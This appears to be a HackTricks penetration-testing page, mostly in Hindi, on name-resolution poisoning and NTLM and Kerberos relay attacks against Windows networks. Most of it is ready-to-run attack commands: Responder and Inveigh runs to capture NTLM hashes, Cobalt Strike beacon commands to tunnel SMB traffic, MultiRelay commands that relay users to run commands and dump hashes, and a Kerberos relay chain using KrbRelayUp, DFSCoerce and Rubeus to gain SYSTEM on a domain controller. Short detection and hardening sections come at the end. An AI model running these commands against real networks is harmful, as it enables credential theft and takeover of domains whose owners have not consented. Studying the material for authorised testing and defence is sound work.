Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft और अन्य ऑपरेटिंग सिस्टम LLMNR और NBT-NS का उपयोग स्थानीय नाम समाधान के लिए करते हैं जब DNS विफल हो जाता है। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं।
  • ये प्रोटोकॉल UDP पर अपनी अनधिकृत, प्रसारण प्रकृति के कारण इंटरसेप्शन और स्पूफिंग के प्रति संवेदनशील हैं।
  • Responder का उपयोग सेवाओं की नकल करने के लिए किया जा सकता है, जो इन प्रोटोकॉल को क्वेरी करने वाले होस्ट को जाली प्रतिक्रियाएँ भेजता है।
  • Responder का उपयोग करके सेवा नकल के बारे में अधिक जानकारी यहाँ मिल सकती है।

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD ब्राउज़रों को स्वचालित रूप से प्रॉक्सी सेटिंग्स खोजने की अनुमति देता है।
  • खोज DHCP, DNS के माध्यम से की जाती है, या यदि DNS विफल हो जाता है तो LLMNR और NBT-NS पर वापस जाती है।
  • Responder WPAD हमलों को स्वचालित कर सकता है, ग्राहकों को दुर्भावनापूर्ण WPAD सर्वरों की ओर निर्देशित करता है।

Responder for Protocol Poisoning

  • Responder एक उपकरण है जिसका उपयोग LLMNR, NBT-NS, और mDNS क्वेरीज़ को विषाक्त करने के लिए किया जाता है, जो क्वेरी प्रकारों के आधार पर चयनात्मक रूप से प्रतिक्रिया करता है, मुख्य रूप से SMB सेवाओं को लक्षित करता है।
  • यह Kali Linux में पूर्व-स्थापित आता है, जिसे /etc/responder/Responder.conf पर कॉन्फ़िगर किया जा सकता है।
  • Responder स्क्रीन पर कैप्चर किए गए हैश प्रदर्शित करता है और उन्हें /usr/share/responder/logs निर्देशिका में सहेजता है।
  • यह IPv4 और IPv6 दोनों का समर्थन करता है।
  • Windows संस्करण का Responder यहाँ उपलब्ध है।

Running Responder

  • डिफ़ॉल्ट सेटिंग्स के साथ Responder चलाने के लिए: responder -I <Interface>
  • अधिक आक्रामक प्रोबिंग के लिए (संभावित दुष्प्रभावों के साथ): responder -I <Interface> -P -r -v
  • NTLMv1 चुनौतियों/प्रतिक्रियाओं को कैप्चर करने के लिए तकनीकें: responder -I <Interface> --lm --disable-ess
  • WPAD नकल को सक्रिय किया जा सकता है: responder -I <Interface> --wpad
  • NetBIOS अनुरोधों को हमलावर के IP पर हल किया जा सकता है, और एक प्रमाणीकरण प्रॉक्सी स्थापित किया जा सकता है: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • DHCP प्रतिक्रियाओं को स्पूफ करना एक पीड़ित की रूटिंग जानकारी को स्थायी रूप से विषाक्त कर सकता है, ARP विषाक्तता के लिए एक अधिक छिपा हुआ विकल्प प्रदान करता है।
  • यह लक्षित नेटवर्क की कॉन्फ़िगरेशन के बारे में सटीक ज्ञान की आवश्यकता होती है।
  • हमले को चलाना: ./Responder.py -I eth0 -Pdv
  • यह विधि NTLMv1/2 हैश को प्रभावी ढंग से कैप्चर कर सकती है, लेकिन नेटवर्क में व्यवधान से बचने के लिए सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है।

Capturing Credentials with Responder

  • Responder उपरोक्त प्रोटोकॉल का उपयोग करके सेवाओं की नकल करेगा, जब एक उपयोगकर्ता स्पूफ की गई सेवाओं के खिलाफ प्रमाणीकरण करने का प्रयास करता है, तो क्रेडेंशियल्स (आमतौर पर NTLMv2 चुनौती/प्रतिक्रिया) कैप्चर करता है।
  • NetNTLMv1 में डाउनग्रेड करने या आसान क्रेडेंशियल क्रैकिंग के लिए ESS को निष्क्रिय करने का प्रयास किया जा सकता है।

यह महत्वपूर्ण है कि इन तकनीकों का उपयोग कानूनी और नैतिक रूप से किया जाए, उचित प्राधिकरण सुनिश्चित करते हुए और व्यवधान या अनधिकृत पहुंच से बचते हुए।

Inveigh

Inveigh एक उपकरण है जो पेनिट्रेशन टेस्टर्स और रेड टीमर्स के लिए डिज़ाइन किया गया है, जो Windows सिस्टम के लिए है। यह Responder के समान कार्यक्षमताएँ प्रदान करता है, स्पूफिंग और मैन-इन-द-मिडल हमले करता है। यह उपकरण PowerShell स्क्रिप्ट से C# बाइनरी में विकसित हुआ है, जिसमें Inveigh और InveighZero मुख्य संस्करण हैं। विस्तृत पैरामीटर और निर्देश wiki में मिल सकते हैं।

Inveigh को PowerShell के माध्यम से संचालित किया जा सकता है:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

या C# बाइनरी के रूप में निष्पादित किया गया:

bash
Inveigh.exe

NTLM Relay Attack

यह हमला SMB प्रमाणीकरण सत्रों का उपयोग करके एक लक्षित मशीन तक पहुँचने के लिए किया जाता है, यदि सफल हो तो एक सिस्टम शेल प्रदान करता है। मुख्य पूर्वापेक्षाएँ शामिल हैं:

  • प्रमाणीकरण करने वाले उपयोगकर्ता को रिले किए गए होस्ट पर स्थानीय व्यवस्थापक पहुँच होनी चाहिए।
  • SMB साइनिंग को अक्षम किया जाना चाहिए।

445 Port Forwarding and Tunneling

उन परिदृश्यों में जहाँ सीधे नेटवर्क परिचय संभव नहीं है, पोर्ट 445 पर ट्रैफ़िक को अग्रेषित और टनल करने की आवश्यकता होती है। PortBender जैसे उपकरण पोर्ट 445 के ट्रैफ़िक को दूसरे पोर्ट पर पुनर्निर्देशित करने में मदद करते हैं, जो ड्राइवर लोडिंग के लिए स्थानीय व्यवस्थापक पहुँच उपलब्ध होने पर आवश्यक है।

PortBender सेटअप और संचालन Cobalt Strike में:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM रिले हमले के लिए अन्य उपकरण

  • Metasploit: प्रॉक्सी, स्थानीय और दूरस्थ होस्ट विवरण के साथ सेटअप करें।
  • smbrelayx: SMB सत्रों को रिले करने और कमांड निष्पादित करने या बैकडोर तैनात करने के लिए एक Python स्क्रिप्ट।
  • MultiRelay: Responder सूट से एक उपकरण जो विशिष्ट उपयोगकर्ताओं या सभी उपयोगकर्ताओं को रिले करने, कमांड निष्पादित करने या हैश डंप करने के लिए है।

प्रत्येक उपकरण को आवश्यकतानुसार SOCKS प्रॉक्सी के माध्यम से संचालित करने के लिए कॉन्फ़िगर किया जा सकता है, जिससे अप्रत्यक्ष नेटवर्क पहुंच के साथ भी हमले सक्षम होते हैं।

MultiRelay संचालन

MultiRelay /usr/share/responder/tools निर्देशिका से निष्पादित किया जाता है, विशिष्ट IPs या उपयोगकर्ताओं को लक्षित करता है।

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

ये उपकरण और तकनीकें विभिन्न नेटवर्क वातावरण में NTLM रिले हमलों को संचालित करने के लिए एक व्यापक सेट बनाती हैं।

NTLM लॉगिन को मजबूर करना

Windows में आप कुछ विशेषाधिकार प्राप्त खातों को मनमाने मशीनों पर प्रमाणीकरण करने के लिए मजबूर कर सकते हैं। जानने के लिए निम्नलिखित पृष्ठ पढ़ें:

Force NTLM Privileged Authentication

Kerberos रिले हमला

एक Kerberos रिले हमला एक AP-REQ टिकट को एक सेवा से चुराता है और इसे दूसरी सेवा के खिलाफ पुनः उपयोग करता है जो एक ही कंप्यूटर-खाता कुंजी साझा करती है (क्योंकि दोनों SPNs एक ही $ मशीन खाते पर होते हैं)। यह तब भी काम करता है जब SPNs की सेवा श्रेणियाँ भिन्न होती हैं (जैसे CIFS/LDAP/) क्योंकि कुंजी जो टिकट को डिक्रिप्ट करती है वह मशीन का NT हैश है, न कि SPN स्ट्रिंग स्वयं और SPN स्ट्रिंग हस्ताक्षर का हिस्सा नहीं है।

NTLM रिले के विपरीत, कूद एक ही होस्ट तक सीमित है लेकिन, यदि आप एक प्रोटोकॉल को लक्षित करते हैं जो आपको LDAP में लिखने की अनुमति देता है, तो आप Resource-Based Constrained Delegation (RBCD) या AD CS नामांकन में चेन कर सकते हैं और एक ही बार में NT AUTHORITY\SYSTEM को पॉप कर सकते हैं।

इस हमले के बारे में विस्तृत जानकारी के लिए जांचें:

टोकनउद्देश्यरिले प्रासंगिकता
TGT / AS-REQ ↔ REPKDC के लिए उपयोगकर्ता को प्रमाणित करता हैबिना छेड़छाड़
सेवा टिकट / TGS-REQ ↔ REPएक SPN से बंधा; SPN मालिक की कुंजी से एन्क्रिप्ट किया गयायदि SPNs खाते को साझा करते हैं तो आपस में बदलने योग्य
AP-REQक्लाइंट सेवा को TGS भेजता हैजो हम चुराते हैं और पुनः खेलते हैं
  • टिकट SPN के मालिक के खाते की पासवर्ड-व्युत्पन्न कुंजी से एन्क्रिप्ट होते हैं।
  • AP-REQ के अंदर Authenticator में 5-मिनट का टाइमस्टैम्प होता है; उस विंडो के अंदर पुनः खेलना तब तक मान्य है जब तक सेवा कैश एक डुप्लिकेट नहीं देखता।
  • Windows शायद ही कभी यह जांचता है कि टिकट में SPN स्ट्रिंग उस सेवा से मेल खाती है जिसे आप हिट करते हैं, इसलिए CIFS/HOST के लिए एक टिकट सामान्यतः LDAP/HOST पर ठीक से डिक्रिप्ट होता है।
    1. Kerberos को रिले करने के लिए क्या सच होना चाहिए
  1. साझा कुंजी: स्रोत और लक्ष्य SPNs एक ही कंप्यूटर खाते से संबंधित हैं (Windows सर्वरों पर डिफ़ॉल्ट)।
  2. कोई चैनल सुरक्षा नहीं: SMB/LDAP साइनिंग बंद और HTTP/LDAPS के लिए EPA बंद।
  3. आप प्रमाणीकरण को इंटरसेप्ट या मजबूर कर सकते हैं: LLMNR/NBNS जहर, DNS धोखा, PetitPotam / DFSCoerce RPC, नकली AuthIP, बागी DCOM, आदि।
  4. टिकट स्रोत पहले से उपयोग नहीं किया गया: आप असली पैकेट हिट होने से पहले दौड़ जीतते हैं या इसे पूरी तरह से ब्लॉक करते हैं; अन्यथा सर्वर का पुनः खेल कैश इवेंट 4649 को सक्रिय करता है।
  5. आपको संचार में MitM करने में सक्षम होना चाहिए शायद DNSAmins समूह का हिस्सा बनकर डोमेन का DNS संशोधित करने के लिए या पीड़ित की HOST फ़ाइल को बदलने में सक्षम होना चाहिए।

Kerberos रिले चरण

  • 3.1 होस्ट की पहचान करें
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 रिले श्रोता शुरू करें

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp KrbRelay → LDAP → RBCD → Rubeus → SCM बायपास को एक बाइनरी में लपेटता है।

  • 3.3 Kerberos प्रमाणीकरण को मजबूर करें
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce DC को हमें एक Kerberos CIFS/DC01 टिकट भेजने के लिए मजबूर करता है।

  • 3.4 AP-REQ को रिले करें

KrbRelay SMB से GSS ब्लॉब निकालता है, इसे LDAP बाइंड में फिर से पैकेज करता है, और इसे ldap://DC01 पर अग्रेषित करता है—प्रमाणीकरण सफल होता है क्योंकि वही कुंजी इसे डिक्रिप्ट करती है।

  • 3.5 LDAP का दुरुपयोग ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

More paths worth knowing

VectorTrickWhy it matters
AuthIP / IPSecFake server sends a GSS-ID payload with any SPN; client builds an AP-REQ straight to youWorks even across subnets; machine creds by default
DCOM / MSRPCMalicious OXID resolver forces client to auth to arbitrary SPN and portPure local priv-esc; sidesteps firewall
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsBypasses LDAP signing defenses
Shadow CredentialsWrite msDS-KeyCredentialLink, then PKINIT with forged key pairNo need to add a computer account

Troubleshooting

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDटिकट कुंजी ≠ लक्ष्य कुंजीगलत होस्ट/SPN
KRB_AP_ERR_SKEWघड़ी > 5 मिनट का अंतरसमय समन्वयित करें या w32tm का उपयोग करें
LDAP बाइंड विफलसाइनिंग लागूAD CS पथ का उपयोग करें या साइनिंग बंद करें
इवेंट 4649 स्पैमसेवा ने डुप्लिकेट ऑथेंटिकेटर देखामूल पैकेट को ब्लॉक करें या रेस करें

Detection

  • Event 4769 में एक ही स्रोत से CIFS/, HTTP/, LDAP/ के लिए वृद्धि।
  • सेवा पर Event 4649 पुनःप्राप्ति का संकेत देती है।
  • 127.0.0.1 से Kerberos लॉगिन (स्थानीय SCM के लिए रिले) अत्यधिक संदिग्ध है—KrbRelayUp दस्तावेज़ों में Sigma नियम के माध्यम से मैप करें।
  • msDS-AllowedToActOnBehalfOfOtherIdentity या msDS-KeyCredentialLink विशेषताओं में परिवर्तनों पर नज़र रखें।

Hardening

  1. हर सर्वर पर LDAP & SMB साइनिंग + EPA लागू करें।
  2. SPNs को विभाजित करें ताकि HTTP CIFS/LDAP के समान खाते पर न हो।
  3. मजबूरण वेक्टर को पैच करें (PetitPotam KB5005413, DFS, AuthIP)।
  4. ms-DS-MachineAccountQuota = 0 सेट करें ताकि अवैध कंप्यूटर जुड़ाव रुक सके।
  5. Event 4649 और अप्रत्याशित लूपबैक Kerberos लॉगिन पर अलर्ट करें।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें